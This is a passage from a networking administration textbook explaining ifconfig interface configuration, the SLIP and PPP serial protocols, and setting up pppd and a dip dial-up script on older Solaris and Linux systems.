The Packets Queued field shows how many packets are in the queue, awaiting transmission via this interface. Normally this is zero.

The output of a netstat command shows:

% netstat -in
Name  Mtu   Net/Dest   Address     Ipkts Ierrs Opkts Oerrs Collis Queue
le0   1500  172.16.0.0 172.16.12.2 1547   1    1127  0     135    0
lo0   1536  127.0.0.0  127.0.0.1    133   0     133  0     0      0

This display shows that this workstation has only two network interfaces. In this case it is easy to identify each network interface. The lo0 interface is the loopback interface, which every TCP/IP system has. It is the same loopback device discussed in Chapter 5. le0 is a Lance Ethernet interface, also discussed in Chapter 5.

On most systems, the loopback interface is part of the default configuration, so you won't need to configure it. If you do need to configure lo0 on your system, use the following command:

# ifconfig lo0 127.0.0.1

The configuration of the Ethernet interface requires more attention. The surprising thing about the sample netstat display is that we haven't yet entered an ifconfig command for le0, and it already has an IP address! Many systems use an installation script to install UNIX. This script requests the host address, which it then uses to configure the interface. [2] Later we'll look at whether the user successfully set up this interface with the installation script.

[2] The netconfig command, discussed in Chapter 4, is an example of a network configuration script that runs when the operating system is installed.

The ifconfig command can also be used to find out what network interfaces are available on a system. The netstat command shows only interfaces that are configured. On some systems the ifconfig command can be used to show all interfaces, even those that have not yet been configured. On Solaris 2.5.1 systems, ifconfig -a does this; on a Linux 2.0.0 system, entering ifconfig without any arguments will list all of the network interfaces.

While most hosts have only one real network interface, some hosts and all gateways have multiple interfaces. Sometimes all interfaces are the same type; i.e., a gateway between two Ethernets may have two Ethernet interfaces. netstat on a gateway like this might display lo0, le0, and le1. Deciphering a netstat display with multiple interfaces of the same type is still very simple. But deciphering a system with many different types of network interfaces is more difficult. You must rely on documentation that comes with optional software to choose the correct interface. When installing new network software, always read documentation carefully.

This long discussion about determining the network interface may seem to overshadow the important ifconfig functions of assigning the IP address, subnet mask, and broadcast address. So let's return to these important topics.

6.1.2 Checking the Interface with ifconfig

As noted above, the UNIX installation script configures the network interface. However, this configuration may not be exactly what you want. Check the configuration of an interface with ifconfig. To display the current values assigned to the interface, enter ifconfig with an interface name and no other arguments. For example, to check interface le0:

% ifconfig le0
le0: flags=863<UP,BROADCAST,NOTRAILERS,RUNNING,MULTICAST> mtu 1500
        inet 172.16.12.2 netmask ffff0000 broadcast 172.16.255.255

When used to check the status of an interface on a Solaris 2.5.1 system, the ifconfig command displays two lines of output. The first line shows the interface name, the flags that define the interface's characteristics, and the Maximum Transmission Unit (MTU) of this interface. In our example the interface name is le0, and the MTU is 1500 bytes. The flags are displayed as both a numeric value and a set of keywords. The interface's flags have the numeric value 863, which corresponds to:

UP

The interface is enabled for use.

BROADCAST

The interface supports broadcasts, which means it is connected to a network that supports broadcasts, such as an Ethernet.

NOTRAILERS

This interface does not support trailer encapsulation. This is an Ethernet-specific characteristic which we discuss in more detail later.

RUNNING

This interface is operational.

MULTICAST

This interface supports multicasting.

The second line of ifconfig output displays information that directly relates to TCP/IP. The keyword inet is followed by the Internet address assigned to this interface. Next comes the keyword netmask, followed by the address mask written in hexadecimal. Finally, the keyword broadcast and the broadcast address are displayed.

On a Linux system the ifconfig command displays up to six lines of information for each interface instead of the two lines displayed by the Solaris system. The additional information includes the Ethernet address, the PC IRQ and I/O Base Address, and packet statistics. The basic information is the same on both systems.

> ifconfig eth0
eth0  Link encap:10Mbps Ethernet  HWaddr 00:00:C0:9A:D0:DB
      inet addr:172.16.55.106  Bcast:172.16.55.255  Mask:255.255.255.0
      UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
      RX packets:844886 errors:0 dropped:0 overruns:0
      TX packets:7668 errors:0 dropped:0 overruns:0
      Interrupt:11 Base address:0x7c80

Refer to the Solaris ifconfig le0 example at the beginning of this section. Check the information displayed in that example against the configuration plan developed in Chapter 4. You'll see that the interface needs to be reconfigured. The configuration done by the user during the UNIX installation did not provide all of the values we planned. The address (172.16.12.2) is correct, but the address mask (ffff0000 or 255.255.0.0) and the broadcast address (172.16.0.0) are incorrect. Let's look at how these values are assigned, and how to correct them.

6.1.3 Assigning a Subnet Mask

In order to function properly, every interface on a specific physical network segment must have the same subnet mask. For le0 on almond and peanut, the netmask value is 255.255.255.0, because both systems are attached to the same subnet. However, although almond's local network interface and its external network interface are parts of the same computer, they use different netmasks because they are on different networks.

To assign a subnet mask, write the subnet mask value after the keyword "netmask" on the ifconfig command line. The subnet mask is usually written in the "dotted decimal" form used for IP addresses. [3] For example, the following command assigns the correct subnet mask to the le0 interface on peanut:

[3] Hexadecimal notation can also be used for the subnet mask. To enter a netmask in hexadecimal form, write the value as a single hex number starting with a leading 0x. For example, the hexadecimal form of 255.255.255.0 is 0xffffff00. Choose the form that is easier for you to understand.

# ifconfig le0 172.16.12.2 netmask 255.255.255.0  \
broadcast 172.16.12.255

Putting the netmask value directly on the ifconfig command line is the most common, the simplest, and the best way to manually assign the subnet mask to an interface. But it is also possible to tell ifconfig to take the netmask value from a file instead of from the command line. Conceptually, this is similar to using a hostname in place of an IP address. The administrator can place the subnet mask value in either the hosts file or the networks file and then reference it by name. For example, the nuts-net administrator might add the following entry to /etc/networks:

nuts-mask       255.255.255.0

Once this entry has been added, you can use the name nuts-mask on the ifconfig command line, instead of the actual mask. For example:

# ifconfig le0 172.16.5.2 netmask nuts-mask

The name nuts-mask resolves to 255.255.255.0, which is the correct netmask value for our sample systems.

On Solaris systems, you can also use /etc/inet/netmasks to set the subnet mask. [4] The /etc/inet/netmasks file is a table of one-line entries, each containing a network address separated from a subnet mask by whitespace. [5] If a Solaris system on nuts-net (172.16.0.0) has a /etc/inet/netmasks file that contains the entry:

[4] /etc/netmasks is symbolically linked to /etc/inet/netmasks.

[5] Use the official network address, not a subnet address.

172.16.0.0      255.255.255.0

then the following ifconfig command can be used to set the subnet mask:

# ifconfig le0 172.16.5.1 netmask +

The plus sign after the keyword netmask causes ifconfig to take the mask value from /etc/inet/netmasks. ifconfig searches the file for a network address that matches the network address of the interface being configured. It then extracts the subnet mask associated with that address and applies it to the interface.

Some systems take advantage of the fact that the IP address, subnet mask, and broadcast address can be set indirectly to reduce the extent that startup files need to be customized. Reducing customization lessens the chance that a system might hang while booting because a startup file was improperly edited, and it makes it possible to pre-configure these files for all of the systems on the network. The hosts, networks, and netmasks files, which provide input to the ifconfig command, all produce NIS maps that can be centrally managed at sites using NIS.

A disadvantage of setting the ifconfig values indirectly is that it can make troubleshooting more cumbersome. If all values are set in the boot file, you only need to check the values there. When network configuration information is supplied indirectly, you may need to check the boot file, the hosts file, the networks file, and the netmasks file to find the problem. An error in any of these files could cause an incorrect configuration. To make debugging easier, many system administrators prefer to set the configuration values directly on the ifconfig command line.

Another disadvantage of setting the subnet mask value indirectly is that some of the files used for this are not primarily intended for this use. The hosts file is a particularly bad choice for storing subnet values. The hosts file is heavily used by other programs. Placing a subnet value in the hosts file might confuse one of these programs. Setting the subnet value directly on the command line or from a file, such as the netmasks file, that is dedicated to this purpose is probably the best approach.

6.1.4 Setting the Broadcast Address

RFC 919, Broadcasting Internet Datagrams, clearly defines the format of a broadcast address as an address with all host bits set to 1. Since the broadcast address is so precisely defined, ifconfig should be able to compute it automatically, and you should always be able to use the default. Unfortunately, this is not the case. TCP/IP was included in BSD 4.2 before RFC 919 was an adopted standard. BSD 4.2 used a broadcast address with all host bits set to 0, and didn't allow the broadcast address to be modified during configuration. Because of this history, some releases of UNIX default to a "0-style" broadcast address for compatibility with older systems, while other releases default to the standard "1-style" broadcast address.

Avoid this confusion by defining a broadcast address for the entire network and ensuring that every device on the network explicitly sets it during configuration. Set the broadcast address in the ifconfig command using the keyword broadcast followed by the correct broadcast address. For example, the ifconfig command to set the broadcast address for almond's le0 interface is:

# ifconfig le0 172.16.12.1 netmask 255.255.255.0  \
broadcast 172.16.12.255

Note that the broadcast address is relative to the local subnet. almond views this interface as connected to network 172.16.12.0; therefore, its broadcast address is 172.16.12.255. Depending on the implementation, a UNIX system could interpret the address 172.16.255.255 as host address 255 on subnet 255 of network 172.16.0.0, or as the broadcast address for nuts-net as a whole. In neither case would it consider 172.16.255.255 the broadcast address for subnet 172.16.12.0.

6.1.5 The Other Command Options

We've used ifconfig to set the interface address, the subnet mask, and the broadcast address. These are certainly the most important functions of ifconfig, but it has other functions as well. It can enable or disable trailer encapsulation, the address resolution protocol, and the interface itself. ifconfig also can set the routing metric used by the Routing Information Protocol and the Maximum Transmission Unit (MTU) used by the interface. We'll look at each of these functions.

6.1.5.1 Enabling and disabling the interface

The ifconfig command has two arguments, up and down, for enabling and disabling the network interface. The up argument enables the network interface and marks it ready for use. The down argument disables the interface so that it cannot be used for network traffic.

Use the down argument when interactively reconfiguring an interface. Some configuration parameters - for example, the IP address - cannot be changed unless the interface is down. First, the interface is brought down. Then, the reconfiguration is done, and the interface is brought back up. For example, the following steps change the address for an interface:

# ifconfig le0 down
# ifconfig le0 172.16.1.2 up

After these commands execute, the interface operates with the new configuration values. The up argument in the second ifconfig command is not actually required because it is the default. However, an explicit up is commonly used after the interface has been disabled, or when an ifconfig command is used in a script file to avoid problems if the default is changed in a future release.

6.1.5.2 ARP and trailers

Two options on the ifconfig command line, arp and trailers, are used only for Ethernet interfaces. The trailers option enables or disables negotiations for trailer encapsulation of IP packets. In Chapter 1, we discussed how IP packets are sent over different physical networks by being encapsulated in the frames that those networks transmit. Trailer encapsulation is an optional technique that reduces the number of memory-to-memory copies the receiving system needs to perform.

To enable trailer encapsulation, put the keyword trailers on the ifconfig command line. When trailer encapsulation is enabled, the system requests (via the ARP protocol) that other systems also use trailer encapsulation when sending it data.

The option -trailers disables trailer encapsulation. Trailer encapsulation is disabled for two basic reasons. First, the I/O architecture of some systems does not derive any benefit from trailer encapsulation. If a system doesn't do memory-to-memory copies when receiving data from the network, it doesn't benefit from trailer encapsulation. Second, there are some systems that have difficulties with the negotiations for trailer encapsulation. For these reasons, many systems ignore the trailers argument and never use trailer encapsulation, and others allow trailer encapsulation but default to -trailers. Both of our sample systems, Solaris and Linux, ignore the trailers argument. However, some systems enable trailer encapsulation by default. Check your system documentation for the default on your system.

Chapter 2 discusses the Address Resolution Protocol (ARP), an important protocol that maps IP addresses to physical Ethernet addresses. Enable ARP with the ifconfig keyword arp and disable it with the keyword -arp. It is possible (though very unlikely) that a host attached to your network cannot handle ARP. This would only happen on a network using specialized equipment or developmental hardware. In these very rare circumstances, it may be necessary to disable ARP in order to interoperate with the non-standard systems. By default, ifconfig enables ARP. Leave ARP enabled on all your systems.

6.1.5.3 Metric

On some systems, the ifconfig command creates an entry in the routing table for every interface that is assigned an IP address. Each interface is the route to a network. Even if a host isn't a gateway, its interface is still its "route" to the local network. ifconfig determines the route's destination network by applying the interface's subnet mask to the interface's IP address. For example, the le0 interface on almond has an address of 172.16.12.1 and a mask of 255.255.255.0. Applying this mask to the address provides the destination network, which is 172.16.12.0. The netstat -in display shows the destination address:

% netstat -in
Name Mtu  Net/Dest    Address     Ipkts  Ierrs Opkts Oerrs Collis Queue
le0  1500 172.16.12.0 172.16.12.1 1125826 16   569786  0    8914   0
lo0  1536 127.0.0.0   127.0.0.1   94280   0    94280   0    0      0

The Routing Information Protocol (RIP) is a routing protocol commonly used by UNIX. RIP does two things: it distributes routing information to other hosts, and it uses incoming routing information to build routing tables dynamically. The routes created by ifconfig are one source of the routing information distributed by RIP, and the ifconfig metric argument can be used to control how RIP uses this routing information.

RIP makes routing decisions based on the cost of a route. The route's cost is determined by a routing metric associated with the route. A routing metric is just a number. The lower the number, the lower the cost of the route. The higher the number, the higher the cost. When building a routing table, RIP favors low-cost routes over high-cost routes. Directly connected networks are given a very low cost. Therefore, the default metric is 0 for a route through an interface to a directly attached network. However, you can use the metric argument to supply a different routing metric for an interface.

To increase the cost of an interface to three, so that RIP prefers routes with values of 0, 1, or 2, use metric 3 on the ifconfig command line:

# ifconfig std0 26.104.0.19 metric 3

Use the metric option only if there is another route to the same destination and you want to use it as the primary route. We did not use this command on almond, because it has only one interface connected to the outside world. But if it had a second connection, say, through a higher-speed link, then the command shown above could be used to direct traffic through the higher-performance interface.

A related ifconfig parameter is available on Solaris systems. RIP builds the routing table by choosing the most economical routes, and it distributes the routing table information to other hosts. The metric parameter controls which routes RIP selects as the lowest cost. The private argument, available on Solaris systems, controls the routes that RIP distributes. If private is specified on the ifconfig command line, the route created by that ifconfig command is not distributed by RIP. The default is -private, which permits the route to be distributed. The private parameter is not universally supported.

Additionally, not all systems make use of the metric argument. A Linux system doesn't create a routing table entry when it processes the ifconfig command. When configuring a Linux system, you add an explicit route command for each interface. (The route command is covered in the next chapter.) Linux systems ignore the metric argument.

Set the routing metric in a routing configuration file instead of on the ifconfig command line. This is the preferred method of providing routing information for newer routing software. We discuss the format of routing configuration files in the next chapter.

6.1.5.4 Maximum transmission unit

A network has a maximum transmission unit, which is the largest packet that can be transported over that physical network. On Ethernet, the maximum size is 1500 bytes, which is defined as part of the Ethernet standard. There is rarely any need to change the MTU on the ifconfig command line. By default, ifconfig chooses the optimum MTU, which is usually the largest legal MTU for a given type of network hardware. A large MTU is the default because it normally provides the best performance. However, a smaller MTU is helpful to achieve the following goals:

  • To avoid fragmentation. If the traffic travels from a network with a large MTU - such as an FDDI network with an MTU of 4500 bytes - through a network with a smaller MTU like an Ethernet, the smaller MTU size may be best in order to avoid packet fragmentation. It is possible that specifying an MTU of 1500 on the interface connected to the FDDI may actually improve performance by avoiding fragmentation in the routers. This would only be done if fragmentation actually appeared to be the cause of a performance problem.

  • To reduce buffer overruns or similar problems. On serial line connections it is possible to have equipment of such low performance that it cannot keep up with standard 1006-byte packets. In this case, it is possible to avoid buffer overruns or SILO overflows by using a smaller MTU. However, such solutions are temporary fixes. The real fix is to purchase the correct hardware for the application.

To change the MTU, use the mtu command-line argument:

# ifconfig fddi0 172.16.16.1 netmask 255.255.255.0 mtu 1500

This forces the FDDI interface on 172.16.16.1 to use an MTU of 1500 bytes.

6.1.5.5 Point-to-point

There are probably several more ifconfig command-line arguments available on your system. Linux has parameters to define the PC interrupt of the Ethernet hardware (irq) and the Ethernet hardware address (hw), and to enable multicasting (multicast) and promiscuous mode (allmulti). Solaris has arguments to set up or tear down the streams for an interface (plumb/unplumb), and to use Reverse ARP (RARP) to obtain the IP address for an interface (auto-revarp). But most of these parameters are not standardized between versions of UNIX.

One last feature that is available on most versions of UNIX is the ability to define point-to-point connections with the ifconfig command. Point-to-point connections are network links that directly connect together only two computers. Of course the computers at either end of the link could be gateways to the world, but only two computers are directly connected to the link. Examples of a point-to-point connection are two computers linked together by a leased telephone line, or two computers in an office linked together by a null modem cable.

To define a point-to-point link on a Solaris system:

# ifconfig zs0 172.16.62.1 172.16.62.2

This ifconfig command has two addresses immediately following the interface name. The first is the address of the local host. The second address, called the destination address, is the address of the remote host at the other end of the point-to-point link. The second address shows up as the Net/Dest value in an netstat -ni display.

On a Linux system, this same configuration looks slightly different:

> ifconfig sl0 172.16.62.1 point-to-point 172.16.62.2

The syntax is different but the effect is the same. This enables the interface to run in point-to-point mode and identifies the hosts at both ends of the link.

Does this set up the Point-to-Point Protocol (PPP) used for TCP/IP serial line communication? No, it does not. These ifconfig parameters sometimes confuse people about how to set up PPP. There is much more to configuring PPP and SLIP, which we cover in the remainder of this chapter.

Before moving on to PPP and SLIP we should note that the configuration entered on an ifconfig command line will not survive a system boot. For a permanent configuration, put ifconfig in a startup file.

6.1.5.6 Putting ifconfig in the startup files

The ifconfig command is normally executed at boot time by a startup file. On BSD UNIX systems, the ifconfig commands are usually located in /etc/rc.boot or /etc/rc.local. System V UNIX presents a much more complex set of startup files, but the ifconfig statements are usually located in a file in the /etc/init.d directory. [6] On Linux systems, the startup files containing the ifconfig commands are usually in the /etc/rc.d or the /etc/rc.d/init.d directory. Use grep to locate the specific file that contains the ifconfig command:

[6] A good description of the maze of System V initialization files is provided in Essential System Administration, Second Edition, by Æleen Frisch (O'Reilly & Associates).

> cd /etc/rc.d
> grep ifconfig *
rc.inet1:/sbin/ifconfig lo 127.0.0.1
rc.inet1:/sbin/ifconfig eth0 172.16.12.1 broadcast 172.16.12.255
   netmask 255.255.255.0

Because network access is important for some of the processes run by the startup files, the ifconfig statements execute near the beginning of the startup procedure. The simplest way to configure a network interface to suit your requirements is to edit the startup files and insert the correct ifconfig statements.

On our Linux system, we edit /etc/rc.d/rc.inet1 and check the two lines necessary to configure the loopback interface and the Ethernet interface. We use the rc.inet1 file because it runs early in network startup procedure and it is the file in which the installation script placed the ifconfig commands. The two lines placed in the file are:

ifconfig lo0 127.0.0.1
ifconfig eth0 172.16.12.1 broadcast 172.16.12.255 netmask 255.255.255.0

Check the startup files to ensure that the interfaces on the host are properly configured at every boot.

Previous: 5.5 Summary | TCP/IP Network Administration | Next: 6.2 TCP/IP Over a Serial Line
5.5 Summary | Book Index | 6.2 TCP/IP Over a Serial Line


[Chapter 6] 6.2 TCP/IP Over a Serial Line

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 6.1 The ifconfig Command Chapter 6
Configuring the Interface 		Next: 6.3 Installing PPP

6.2 TCP/IP Over a Serial Line

TCP/IP runs over a wide variety of physical media. The media can be Ethernet cables, as in your local Ethernet, or telephone circuits, as in a wide area network. In the first half of this chapter, we used ifconfig to configure a local Ethernet interface. In this section, we use other commands to configure a network interface to use a telephone circuit.

Almost all data communication takes place via serial interfaces. A serial interface is just an interface that sends the data as a series of bits over a single wire, as opposed to a parallel interface that sends the data bits in parallel over several wires simultaneously. This description of a serial interface would fit almost any communications interface (including Ethernet itself), but the term is usually applied to an interface that connects to a telephone circuit via a modem or similar device. Likewise, a telephone circuit is often called a serial line.

In the TCP/IP world, serial lines are used to create wide area networks (WANs). Unfortunately, TCP/IP has not always had a standard physical layer protocol for serial lines. Because of the lack of a standard, network designers were forced to use a single brand of routers within their WANs to ensure successful physical layer communication. The growth of TCP/IP WANs led to a strong interest in standardizing serial-line communications to provide vendor independence.

Other forces that increased interest in serial line communications were the advent of small affordable systems that run TCP/IP and the advent of high-speed, dial-up modems that provide "reasonable" TCP/IP performance. When the ARPANET was formed, computers were very expensive and dial-up modems were very slow. At that time, if you could afford a computer, you could afford a leased telephone line. In recent years, however, it has become possible to own a UNIX system at home. In this new environment, there is an increasing demand for services that allow TCP/IP access over low-cost, dial-up serial lines.

These two forces - the need for standardized wide area communications and the need for dial-up TCP/IP access - have led to the creation of two serial-line protocols: Serial Line IP (SLIP) and Point-to-Point Protocol (PPP). [7]

[7] Dial-up modems are usually asynchronous. Both PPP and SLIP support asynchronous, dial-up service as well as synchronous leased-line service.

6.2.1 The Serial Protocols

Serial Line IP was created first. It is a minimal protocol that allows isolated hosts to link via TCP/IP over the telephone network. The SLIP protocol defines a simple mechanism for framing datagrams for transmission across serial lines. SLIP sends the datagram across the serial line as a series of bytes, and it uses special characters to mark when a series of bytes should be grouped together as a datagram. SLIP defines two special characters for this purpose:

  • The SLIP END character, a single byte with the decimal value 192, is the character that marks the end of a datagram. When the receiving SLIP encounters the END character, it knows that it has a complete datagram that can be sent up to IP.

  • The SLIP ESC character, a single byte with the decimal value of 219, is used to "escape" the SLIP control characters. If the sending SLIP encounters a byte value equivalent to either a SLIP END character or a SLIP ESC character in the datagram it is sending, it converts that character to a sequence of two characters. The two-character sequences are ESC 220 for the END character, and ESC 221 for the ESC character itself. [8] When the receiving SLIP encounters these two-byte sequences, it converts them back to single-byte values. This procedure prevents the receiving SLIP from incorrectly interpreting a data byte as the end of the datagram.

    [8] Here ESC refers to the SLIP escape character, not the ASCII escape character.

SLIP is described in RFC 1055, A Nonstandard for Transmission of IP Datagrams Over Serial Lines: SLIP. As the name of the RFC makes clear, SLIP is not an Internet standard. The RFC does not propose a standard; it documents an existing protocol. The RFC identifies the deficiencies in SLIP, which fall into two categories:

  • The SLIP protocol does not define any link control information that could be used to dynamically control the characteristics of a connection. Therefore, SLIP systems must assume certain link characteristics. Because of this limitation, SLIP can only be used when both hosts know each other's address, and only when IP datagrams are being transmitted.

  • SLIP does not compensate for noisy, low-speed telephone lines. The protocol does not provide error correction or data compression.

To address SLIP's weaknesses, Point-to-Point Protocol (PPP) was developed as an Internet standard. At this writing, there are several RFCs that document Point-to-Point Protocol. [9] Two key documents are: RFC 1548, The Point-to-Point Protocol (PPP), and RFC 1172, The Point-to-Point Protocol (PPP) Initial Configuration Options.

[9] If you want to make sure you have the very latest version of a standard, obtain the latest list of RFCs as described in Chapter 13, Internet Information Resources .

PPP addresses the weaknesses of SLIP with a three-layered protocol:

Data Link Layer Protocol

The Data Link Layer Protocol used by PPP is a slightly modified version of High-level Data Link Control (HDLC). PPP modifies HDLC by adding a Protocol field that allows PPP to pass traffic for multiple Network Layer protocols. HDLC is an international standard protocol for reliably sending data over synchronous, serial communications lines. PPP also uses a proposed international standard for transmitting HDLC over asynchronous lines; so PPP can guarantee reliable delivery over any type of serial line.

Link Control Protocol

The Link Control Protocol (LCP) provides control information for the serial link. It is used to establish the connection, negotiate configuration parameters, check link quality, and close the connection. LCP was developed specifically for PPP.

Network Control protocols

The Network Control protocols are individual protocols that provide configuration and control information for the Network Layer protocols. Remember, PPP is designed to pass data for a wide variety of network protocols. NCP allows PPP to be customized to do just that. Each network protocol (DECNET, IP, OSI, etc.) has its own Network Control protocol. The Network Control protocol defined in RFCs 1331 and 1332 is the Internet Control Protocol (IPCP), which supports Internet Protocol.

6.2.2 Choosing a Serial Protocol

Point-to-Point Protocol (PPP) is the best TCP/IP serial protocol. PPP is preferred because it is an Internet standard, which ensures interoperability between systems from a wide variety of vendors. It has more features than SLIP, and is more robust. These benefits make PPP the best choice as a non-proprietary protocol for connecting routers over serial lines and for connecting in remote computers via dial-up lines.

However, sometimes your choice is limited. SLIP was the first widely available serial protocol for IP, and some older dial-up servers support SLIP only. PPP and SLIP do not interoperate; they are completely different protocols. So if your terminal servers only have SLIP, the remote hosts that connect through these servers must also have SLIP. Because of its installed base, SLIP will continue to be used for the foreseeable future.

So which protocol should you use? When you are designing a new serial-line service, use PPP. However, you may be forced to also support SLIP. SLIP is sometimes the only serial protocol available for a specific piece of hardware. Simply put, use PPP where you can and SLIP where you must.

Linux systems include both SLIP and PPP. However, on some other UNIX systems such as Solaris, PPP is included and SLIP is not. The only time you should consider using SLIP is when it comes as part of the operating system. Avoid downloading SLIP source code and porting it on to your system. Use PPP instead. If you have old terminal servers that support only SLIP and new computers that support only PPP, it's time to upgrade the old terminal server.

Previous: 6.1 The ifconfig Command | TCP/IP Network Administration | Next: 6.3 Installing PPP
6.1 The ifconfig Command | Book Index | 6.3 Installing PPP


[Chapter 6] 6.3 Installing PPP

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 6.2 TCP/IP Over a Serial Line Chapter 6
Configuring the Interface 		Next: 6.4 Installing SLIP

6.3 Installing PPP

The procedures for installing and configuring PPP vary from implementation to implementation. [10] In this section, we use the implementation of PPP included with Linux 2.0 and the supporting configuration commands that come with it. PPP is an Internet standard and most UNIX systems include support for it in the kernel as part of the standard operating system installation. Usually this does not require any action on your part. Refer to Chapter 5 for examples of how PPP is configured in the Linux kernel. The Linux system installs the PPP physical and data link layer software (the HDLC protocol) in the kernel.

[10] Check your system documentation to find out exactly how to configure PPP on your system.

Installing PPP in the kernel is only the beginning. In this section we look at how pppd is configured to provide PPP services on a Slackware 96 Linux system.

6.3.1 The PPP Daemon

Point-to-Point Protocol is implemented on the Linux system in the PPP daemon (pppd), which was derived from a freeware PPP implementation for BSD systems. pppd can be configured to run in all modes: as a client, as a server, over dial-up connections, and over dedicated connections. Clients and servers are familiar concepts from Chapter 3, Network Services. A dedicated connection is a direct cable connection or a leased line; neither of which need to have a telephone call placed to establish the connection. A dial-up connection is a modem link that is established by dialing a telephone number.

Configuring pppd for a dedicated line is the simplest configuration. A dial-up script is not needed for a leased line or direct connection. There is no point in dynamically assigning addresses because a dedicated line always connects the same two systems. Authentication is of limited use because the dedicated line physically runs between two points. There is no way for an intruder to access the link, short of "breaking and entering" or "wiretap." A single pppd command configures a dedicated PPP link for our Linux system. We place it in the /etc/rc.d/rc.inet1 file:

pppd /dev/cua3 56000 crtscts defaultroute

The /dev/cua3 argument selects the device to which PPP is attached. It is, of course, the same port to which the dedicated line is attached. Next, the line speed is specified in bits per second (56000). The remainder of the command line is a series of keyword options. The crtscts option turns on hardware flow control. The final option, defaultroute, creates a default route using the remote server as the default gateway. [11]

[11] If a default route already exists in the routing table, the defaultroute option is ignored.

PPP exchanges IP addresses during the initial link connection process. If no address is specified on the pppd command line, the daemon sends the address of the local host, which it learns from DNS or the host table, to the remote host. Likewise, the remote system sends its address to the local host. The addresses are then used as the source and destination addresses of the link. You can override this by specifying the addresses on the command line in the form local-address:remote-address. For example:

pppd /dev/cua3 56000 crtscts defaultroute 172.16.24.1:

Here we define the local address as 172.16.24.1 and leave the remote address blank. In this case pppd sends the address from the command line and waits for the remote server to send its address. The local address is specified on the command line when it is different from the address associated with the local hostname in the host table or the DNS server. For example, the system might have an Ethernet interface that already has an address assigned. If we want to use a different address for the PPP connection, we must specify it on the pppd command line; otherwise, the PPP link will be assigned the same address as the Ethernet interface.

The pppd command has many more options than those used in these examples. [12] In fact, there are so many pppd command-line options, it is sometimes easier to put them in a file than it is to enter them all on the command line. pppd reads its options from the /etc/ppp/options file, then the ~/.ppprc file, and finally from the command line. The order in which they are processed creates a hierarchy such that options on the command line can override those in the ~/.ppprc file, which can in turn override those in the /etc/ppp/options file. This permits the system administrator to establish certain system-wide defaults in the /etc/ppp/options file while still permitting the end user to customize the PPP configuration. The /etc/ppp/options file is a convenient and flexible way to pass parameters to pppd.

[12] There is a full list of the pppd options in Appendix A, PPP Tools.

A single pppd command is all that is needed to set up and configure the software for a dedicated PPP link. Dial-up connections are more challenging.

6.3.2 Dial-Up PPP

A direct connect cable can connect just two systems. When a third system is purchased, it cannot be added to the network. For that reason, most people use expandable network technologies, such as Ethernet, for connecting systems in a local area. Additionally, leased lines are expensive. They are primarily used by large organizations to connect together networks of systems. For these reasons, using PPP for dedicated network connections is less common than using it for dial-up connections.

Several different utilities provide dial-up support for PPP. Dial-up IP (dip) is a popular package for simplifying the process of dialing the remote server, performing the login, and attaching PPP to the resulting connection. We discuss dip in this section because it is popular and because it comes with Slackware 96 Linux, which is the system we have been using for our PPP examples.

One of the most important features of dip is a scripting language that lets you automate all of the steps necessary to set up an operational PPP link. Appendix A covers all of the scripting commands supported by the 3.3.7o-uri version of dip. You can list the commands supported by your system by running dip in test mode (-t) and then entering the help command:

> dip -t
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP> help
DIP knows about the following commands:

        beep     bootp    break    chatkey  config
        databits dec      default  dial     echo
        flush    get      goto     help     if
        inc      init     mode     modem    netmask
        onexit   parity   password proxyarp print
        psend    port     quit     reset    send
        shell    sleep    speed    stopbits term
        timeout  wait

DIP> quit

These commands can configure the interface, control the execution of the script, and process errors. Only a subset of the commands is required for a minimal script:

# Ask PPP to provide the local IP address
get $local 0.0.0.0
# Select the port and set the line speed
port cua1
speed 38400
# Reset the modem and flush the terminal
reset
flush
# Dial the PPP server and wait for the CONNECT response
dial *70,301-555-1234
wait CONNECT
# Give the server 2 seconds to get ready
sleep 2
# Send a carriage-return to wake up the server
send \r
# Wait for the Login> prompt and send the username
wait ogin>
send kristin\r
# Wait for the Password> prompt and send the password
wait word>
password
# Wait for the PPP server's command-line prompt
wait >
# Send the command required by the PPP server
send ppp enabled\r
# Set the interface to PPP mode
mode PPP
# Exit the script
exit

The get command at the beginning of the script allows PPP to provide the local and remote addresses. $local is a script variable. There are several available script variables; all of which are covered in Appendix A. $local normally stores the local address, which can be set statically in the script. A PPP server, however, is capable of assigning an address to the local system dynamically. We take advantage of this capability by giving a local address of all zeros. This peculiar syntax tells dip to let pppd handle the address assignments. A pppd client can get addresses in three ways:

  • The PPP systems can exchange their local addresses as determined from DNS. This was discussed previously for the dedicated line configuration.

  • The addresses can be specified on the pppd command line. This was also discussed above.

  • The client can allow the server to assign both addresses. This feature is most commonly used on dial-up lines. It is very popular with servers that must handle a large number of short-lived connections. A dial-up Internet Service Provider (ISP) is a good example.

The next two lines select the physical device to which the modem is connected and set the speed at which the device operates. The port command assumes the path /dev, so the full device path is not used. On most PC UNIX systems the value provided to the port command is cua0, cua1, cua2, or cua3. These values correspond to MS-DOS ports COM1 to COM4. The speed command sets the maximum speed used to send data to the modem on this port. The default speed is 38400. Change it if your modem accepts data at a different speed.

The reset command resets the modem by sending it the Hayes modem interrupt (+++) followed by the Hayes modem reset command (ATZ). This version of dip uses the Hayes modem AT command set and works only with Hayes-compatible modems. [13] Fortunately, that includes most brands of modems. After being reset, the modem responds with a message indicating that the modem is ready to accept input. The flush command removes this message, and any others that might have been displayed by the modem, out of the input queue. Use flush to avoid the problems that can be caused by unexpected data in the queue.

[13] If your modem doesn't use the full Hayes modem command set, avoid using dip commands, such as rest and dial, that generate Hayes commands. Use send instead. It allows you to send any string you want to the modem.

The next command dials the remote server. The dial command sends a standard Hayes ATD dial command to the modem. It passes the entire string provided on the command line to the modem as part of the ATD command. The sample dial command generates ATD*70,301-555-1234. This causes the modem to dial *70 (which turns off call waiting), and then area code 301, exchange 555, and number 1234. [14] When this modem successfully connects to the remote modem, it displays the message CONNECT. The wait command waits for that message from the modem.

[14] If you have call waiting, turn it off before you attempt to make a SLIP or PPP connection. Different local telephone companies may use different codes to disable call waiting.

The sleep 2 command inserts a two-second delay into the script. It is often useful to delay at the beginning of the connection to allow the remote server to initialize. Remember that the CONNECT message is displayed by the modem, not by the remote server. The remote server may have several steps to execute before it is ready to accept input. A small delay can sometimes avoid unexplained intermittent problems.

